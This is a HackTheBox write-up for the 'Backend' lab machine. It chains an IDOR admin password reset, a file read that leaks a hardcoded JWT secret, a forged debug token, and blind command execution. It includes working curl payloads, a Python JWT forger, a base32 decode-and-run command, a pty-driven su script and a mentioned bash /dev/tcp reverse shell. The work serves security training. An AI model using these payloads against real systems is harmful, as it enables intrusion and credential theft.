HTB: Backend Writeup

Backend - HackTheBox Writeup

Machine Information

AttributeDetails
NameBackend
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.198
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Backend exposes a FastAPI-based “UHC API” with no frontend and no /docs access, so every route has to be discovered by fuzzing with both GET and POST methods. An IDOR in the password-reset endpoint lets any authenticated (self-registered) user overwrite the admin account’s password, and admin access unlocks a debug-gated command execution endpoint plus an arbitrary file-read endpoint. Reading the application’s own config file leaks the JWT signing secret in plaintext, which is enough to forge a token carrying the debug claim the exec endpoint requires. From there, an authentication log accidentally records a password that was typed into the wrong field, giving root.

TL;DR: API enumeration (POST fuzzing) → self-signup/login → IDOR password reset on admin GUID → admin JWT → arbitrary file read leaks hardcoded JWT_SECRET → forge JWT with debug:true (HS256) → blind command execution as htb → user flag via file-read → auth.log leaks root’s password (typo’d into the username field) → automate su via a PTY-driving Python one-liner → root flag via file-read.


Reconnaissance

Port Scanning

Only two ports are open on the target:

  • 22/tcp — SSH
  • 80/tcp — HTTP, uvicorn (FastAPI’s ASGI server)

The Server: uvicorn header and the JSON-only root response are the first tell that this is a pure backend API with no HTML frontend.

Service Enumeration

Terminal window
# root endpoint
curl -s http://10.129.43.198/
# {"msg":"UHC API Version 1.0"}
# walk the versioned API tree
curl -s http://10.129.43.198/api
# {"endpoints":["v1"]}
curl -s http://10.129.43.198/api/v1
# {"endpoints":["user","admin"]}
# /user/<id> takes an integer ID — GUID + superuser flag leak for free
curl -s http://10.129.43.198/api/v1/user/1
# {"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local",
# "date":null,"time_created":1649533388111,"is_superuser":true,"id":1}

GET /api/v1/user/1 returns the admin account’s GUID directly — no auth required. This single GUID becomes the pivot point for the IDOR later in the chain.

Because the app only exposes GET-friendly read routes by default, the real attack surface is hidden behind POST methods that a normal gobuster/ffuf GET-mode scan won’t surface. Fuzzing /api/v1/user/FUZZ with -X POST turns up signup and login.

Vulnerability Assessment

Chaining together, the app has:

  • Unauthenticated object disclosure/api/v1/user/{id} leaks the admin’s GUID and superuser status to anyone.
  • IDOR (CWE-639) on /api/v1/user/updatepass — accepts an arbitrary guid in the JSON body from any authenticated user’s token, with no ownership check.
  • Hardcoded JWT secret (CWE-798), retrievable in plaintext through an authenticated arbitrary file-read endpoint (/api/v1/admin/file).
  • Backdoor debug flag/api/v1/admin/exec/{cmd} executes shell commands as the app user once the presented JWT carries a debug claim, which is trivially forgeable once the signing secret is known.
  • Sensitive log exposure — an app-writable auth.log records failed login attempts verbatim, including a password a human mistyped into the username field.

None of this maps to a public CVE — it’s application-logic abuse specific to this custom “UHC API,” which is exactly why the CVE rating above is low while the real-world relevance is high (IDOR + hardcoded secrets + debug backdoors are extremely common in production APIs).


Initial Foothold

Exploitation Path

1. Self-register and log in.

Terminal window
# signup expects JSON
curl -s -X POST http://10.129.43.198/api/v1/user/signup \
-H "Content-Type: application/json" \
-d '{"email":"pwn@pwn.local","password":"Pwn12345!"}'
# {}
# but /login expects classic form-encoded data, not JSON
curl -s -X POST http://10.129.43.198/api/v1/user/login \
-d "username=pwn@pwn.local&password=Pwn12345!"
# {"access_token":"eyJhbGciOiJIUzI1NiIs...","token_type":"bearer"}

Decoding this token’s payload shows "sub":"2","is_superuser":false,"guid":"ff33980b-a31c-4cee-94da-111841507836" — a normal, unprivileged account.

2. Abuse the IDOR in updatepass to reset the admin’s password.

The /api/v1/user/updatepass endpoint only checks that a valid bearer token is present — it never verifies that the guid in the request body belongs to the caller. Since the admin’s GUID was already leaked in recon (36c2e94a-4271-4259-93bf-c96ad5948284), this becomes a straight privilege-escalation-via-password-reset:

Terminal window
TOK="<pwn@pwn.local access_token>"
curl -s http://10.129.43.198/api/v1/user/updatepass \
-H "Authorization: bearer $TOK" \
-H "Content-Type: application/json" \
-d '{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","password":"admin123"}'
# {"date":null,"id":1,"is_superuser":true,
# "hashed_password":"$2b$12$xsv3B3UiD3XvvhDrJ1voM.owjmNm1p2A.IQvS9i8aeP81ePBiLkia",
# "guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local","last_update":null}

The response confirms the bcrypt hash was overwritten. Logging in as admin now works:

Terminal window
curl -s -X POST http://10.129.43.198/api/v1/user/login \
-d "username=admin@htb.local&password=admin123"
# {"access_token":"eyJhbGciOiJIUzI1NiIs...","token_type":"bearer"}

This admin JWT decodes to "sub":"1","is_superuser":true,"guid":"36c2e94a-..." — full admin claims, but not a working RCE key yet.

3. Hit the debug-gated exec endpoint — and get told why it’s locked.

Terminal window
curl -s http://10.129.43.198/api/v1/admin/exec/whoami \
-H "Authorization: bearer $ADMIN_TOK"
# {"detail":"Debug key missing from JWT"}

The server is explicit: the JWT itself needs a debug claim. That means forging a token — which means recovering the signing secret first.

4. Use the arbitrary file-read endpoint to leak the JWT secret.

Terminal window
curl -s http://10.129.43.198/api/v1/admin/file \
-H "Authorization: bearer $ADMIN_TOK" \
-H "Content-Type: application/json" \
-d '{"file":"/home/htb/uhc/app/core/config.py"}'

The response includes the application’s Settings class:

class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"
...

JWT_SECRET is hardcoded in source and signed with HS256 — a symmetric algorithm, meaning knowing the secret is sufficient to both verify and forge tokens.

5. Forge a JWT with debug:true, signed with the recovered secret.

import base64, hmac, hashlib, json
def b64(d): return base64.urlsafe_b64encode(d).rstrip(b"=")
secret = b"SuperSecretSigningKey-HTB"
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"type": "access_token", "exp": 1785315025, "iat": 1784623825,
"sub": "1", "is_superuser": True,
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"debug": True # <-- the claim the exec endpoint checks for
}
h = b64(json.dumps(header, separators=(",", ":")).encode())
p = b64(json.dumps(payload, separators=(",", ":")).encode())
sig = b64(hmac.new(secret, h + b"." + p, hashlib.sha256).digest())
print((h + b"." + p + b"." + sig).decode())

Because HS256 uses one shared secret for both signing and verification, hand-rolling the JWT with plain hmac/hashlib (rather than a JWT library) works fine — the server only cares that the signature validates against the same secret it holds.

6. Confirm RCE.

Terminal window
DTOK="<forged debug token>"
curl -s http://10.129.43.198/api/v1/admin/exec/whoami -H "Authorization: bearer $DTOK"
# "htb"
curl -s http://10.129.43.198/api/v1/admin/exec/id -H "Authorization: bearer $DTOK"
# "uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)"

Command execution as htb confirmed — the app blindly execs whatever string follows /admin/exec/ once the debug claim is present.

7. Grab the user flag — without ever needing an interactive shell.

Since the same admin session already has an arbitrary file-read primitive, there’s no need to pop a reverse shell just to cat a flag:

Terminal window
curl -s http://10.129.43.198/api/v1/admin/file \
-H "Authorization: bearer $DTOK" \
-H "Content-Type: application/json" \
-d '{"file":"/home/htb/user.txt"}'
# {"file":"<redacted>\n"}

A base64-encoded bash -i >& /dev/tcp/.../9090 0>&1 payload and an nc listener on the jump box were staged as a fallback interactive foothold, but the file-read + blind-exec combo turned out sufficient to finish the box entirely without an interactive shell.


Privilege Escalation

8. Read the app’s own auth log for a leaked credential.

Terminal window
curl -s http://10.129.43.198/api/v1/admin/file \
-H "Authorization: bearer $DTOK" \
-H "Content-Type: application/json" \
-d '{"file":"/home/htb/uhc/auth.log"}'

Buried among a long run of Login Success for admin@htb.local entries is one anomaly:

07/21/2026, 08:32:13 - Login Failure for Tr0ub4dor&3

A human at some point fat-fingered their password into the username field, and the app faithfully logged the failed attempt — leaking the root password in plaintext.

9. Automate su root through the blind RCE endpoint.

su needs an interactive TTY to prompt for a password, which a one-shot admin/exec/{cmd} call doesn’t give directly. The fix is to drive su through a PTY from a Python script, feed it the password programmatically, and dump the root flag to a world-readable temp file for later retrieval via the file-read endpoint:

import pty, os, time
pid, fd = pty.fork()
if pid == 0:
os.execv("/bin/su", ["su", "root", "-c",
"cat /root/root.txt > /tmp/r.txt; chmod 666 /tmp/r.txt"])
else:
time.sleep(1)
os.write(fd, b"Tr0ub4dor&3\n")
time.sleep(2)
try:
while True:
d = os.read(fd, 1024)
if not d: break
except OSError:
pass

10. Deliver the script through /admin/exec/{cmd} — and hit a path-routing snag.

The first attempt base64-encoded the script and piped it through base64 -d:

Terminal window
CMD="echo <base64>|base64 -d > /tmp/s.py; python3 /tmp/s.py"

URL-encoded and sent to /api/v1/admin/exec/<encoded>, this returned {"detail":"Not Found"}. The cause: standard base64’s alphabet includes /, and the exec endpoint takes the command as a path segment (/admin/exec/{cmd}) — any literal or percent-encoded slash inside the payload breaks FastAPI’s path matching before the command ever reaches the handler.

The fix is switching the encoding to base32, whose alphabet (A-Z2-7) contains no slashes at all:

Terminal window
# base32-encode the su-automation script, wrap in a decode+run pipeline, URL-encode
B32=$(base32 -w0 /tmp/inner.sh)
CMD="echo ${B32}|base32 -d|bash"
python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$CMD"

11. Execute and retrieve root.txt.

Terminal window
curl -s "http://10.129.43.198/api/v1/admin/exec/${ENC}" -H "Authorization: bearer $DTOK"
sleep 4 # give the pty-driven su time to complete
curl -s http://10.129.43.198/api/v1/admin/file \
-H "Authorization: bearer $DTOK" \
-H "Content-Type: application/json" \
-d '{"file":"/tmp/r.txt"}'
# {"file":"<redacted>\n"}

Root, without ever needing a stable shell — every step of the privilege escalation rode on the same blind-command-execution and arbitrary-file-read primitives from the admin JWT forge.


Attack Chain Summary

Unauthenticated GET /api/v1/user/1 leaks admin GUID
→ self-signup + form-encoded /login (own JWT)
→ IDOR on /api/v1/user/updatepass (reset admin pw using leaked GUID)
→ login as admin (superuser JWT, but debug claim missing)
→ /api/v1/admin/file leaks JWT_SECRET from config.py
→ forge JWT with "debug":true, HS256-signed with recovered secret
→ /api/v1/admin/exec/{cmd} blind RCE as htb
→ /api/v1/admin/file reads /home/htb/user.txt directly (User Flag)
→ /api/v1/admin/file reads auth.log → root password typo'd as a username
→ base32-encoded PTY-driving Python script executed via exec RCE
(base64 failed: '/' in alphabet breaks the /admin/exec/{cmd} path route)
→ su root automated, root.txt copied to /tmp/r.txt
→ /api/v1/admin/file reads /tmp/r.txt (Root Flag)

Tools Used

ToolPurpose
curlAll HTTP interaction with the FastAPI backend (recon, auth, IDOR, RCE, file reads)
ffufPOST-method endpoint fuzzing to discover /signup and /login
python3 (hmac/hashlib/base64)Hand-rolled HS256 JWT forging once the secret was recovered
python3 (pty)Driving an interactive su prompt from a non-interactive blind RCE channel
base32/base64Encoding payloads for delivery through a slash-sensitive path-based exec endpoint
ncStaged reverse-shell listener (fallback foothold, ultimately unused)
ssh (jump box)Routing all tooling/traffic to the target through the assessment jump host

Key Learnings

Techniques Practiced

  • Blind API enumeration by fuzzing both GET and POST methods separately, since REST conventions hide write-capable routes from GET-only scanners.
  • Exploiting an IDOR by supplying another user’s object ID (GUID) in an otherwise-legitimate authenticated request.
  • Recovering a symmetric JWT signing secret via an authenticated arbitrary file-read primitive, then forging tokens with attacker-chosen claims (HS256 signing is fully reproducible off the secret alone).
  • Turning a one-shot/blind command-execution primitive into an interactive privilege escalation by wrapping su in a Python pty.fork() driver.
  • Diagnosing and routing around a URL/path-segment encoding constraint (base64’s / character breaking a path-parameter-based exec endpoint) by switching to a slash-free encoding (base32).

Lessons Learned

  1. Never trust a client-supplied identifier (GUID, user ID) in a mutating endpoint without verifying it belongs to the authenticated caller — this single IDOR was the entire privilege escalation to admin.
  2. Hardcoded secrets in source (JWT_SECRET) are only as safe as every other endpoint in the app; one arbitrary file-read anywhere in the API surface fully defeats HS256 token integrity.
  3. Debug/backdoor flags gated only by a JWT claim are not a security boundary once the signing secret is recoverable — they’re equivalent to no gate at all.
  4. Application logs that record raw user input (including failed-login usernames) can leak credentials that were never meant to be logged, especially when a human mistypes a password into the wrong field.
  5. When a “shell” is blocked by transport constraints (blind RCE, no PTY), a scripting-language PTY driver (pty.fork()) can substitute for a full interactive terminal to satisfy programs that refuse to run non-interactively.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References